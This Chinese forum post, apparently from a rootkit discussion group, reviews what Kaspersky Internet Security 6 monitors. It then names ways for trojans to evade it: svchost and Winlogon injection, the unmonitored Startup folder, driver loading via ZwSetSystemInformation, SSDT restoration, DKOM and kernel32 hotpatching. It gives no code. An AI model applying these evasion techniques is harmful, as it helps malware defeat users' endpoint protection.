整体来说，KIS6非常强大。 Руткит 讨论组里，我们一致公认KIS6是目前最强的个人类安全套装。卡巴实验室里的确实都是精英，实力雄厚，许多东西都运用的Undocumented技术，导致我上一版本的WinDbg一进入内核调试状态就崩溃。KIS6的注册表监控的非常全：NoWinodwsApp，ShellServiceObjectDelayLoad，ShellExcuteHooks，SharedTaskScheduler，SafeBoot，\Winlogon\Notify，AppInit_DLLs，开关机脚本等其他安全软件较少监控的自启动键值他都监控了；另外KIS6监控了各类代码注入，包括SetThreadContext的方法；监控了加载驱动、服务加载、通过\\Device\\PhysicalMemory对象进Ring0等；监控全局钩子的安装；文件完整性检查；反Rootkit，检测隐藏文件隐藏进程隐藏端口隐藏注册表；值的一提的是涂改PspIdTable方法隐藏进程的方法KIS6也能查。另外KIS6的防火墙的控管规则也比较细，不像国内的个人防火墙是以进程为最小控管单位，KIS6如国外的其他一些防火墙把控制策略细化到具体进程的某个端口，比如默认情况下只允许Explorer.exe访问HTTP80端口，而不是完全允许Explorer.exe进程访问网络。

夸KIS6夸完了，现在来说说他的弱点：关于KIS6监控采用远程线程代码注入的行为时，他只对注入IE等进程有反映，而他防火墙默认的控管规则里却允许Svchost等进程访问HTTP等端口，那木马程序只要用远程线程的方法注入svchost等进程，就能完完全全逃过卡巴了。

再来看在KIS6下怎样实现自启动。KIS6监控注册表确实监控得很全，而且还监控服务之类的，初看你在自启动方面是无处下手。不过可爱的卡巴斯基又犯了让我悲哀的低级错误，开始菜单里的启动文件夹他竟然没监控。免得被人说这样做太猥琐，那就再说个方法，因为可爱的卡巴在监控远程线程代码注入时只IE等进程进行提示，从而我们可以注入Winlogon，注入Winlogon后我们就可以Defeat SFP，然后感染文件实现自启动，虽然卡巴有文件完整性检查，不过问题不大，你自己试了就明白为什么了，呵呵。

再说点底层的，KIS6监控加载驱动监控得不全，嘿嘿，使用ZwSetSystemInformation我们照样可以加载驱动了，能加载驱动了天下还不是我们的了？ 恢复SSDT表呀，DKOM，Miniport NDIS Hook，任我们玩了。

vxk的补充：

除了XYZREG说的几个地方，卡巴斯基在面对BOOT.INI+NTOSKRNL.EXE改写大法（这个方法很无耻），还有HOTPATCH（几乎通吃FireWall）大法时都很脆弱啊！

hotPatch能够动态的改写某些dll的，比如kernel32.dll，我就不多说了。你在kernel32.dll里做一个code injection然后在适当的进程内部加载我们的DLL，好了，一切搞定。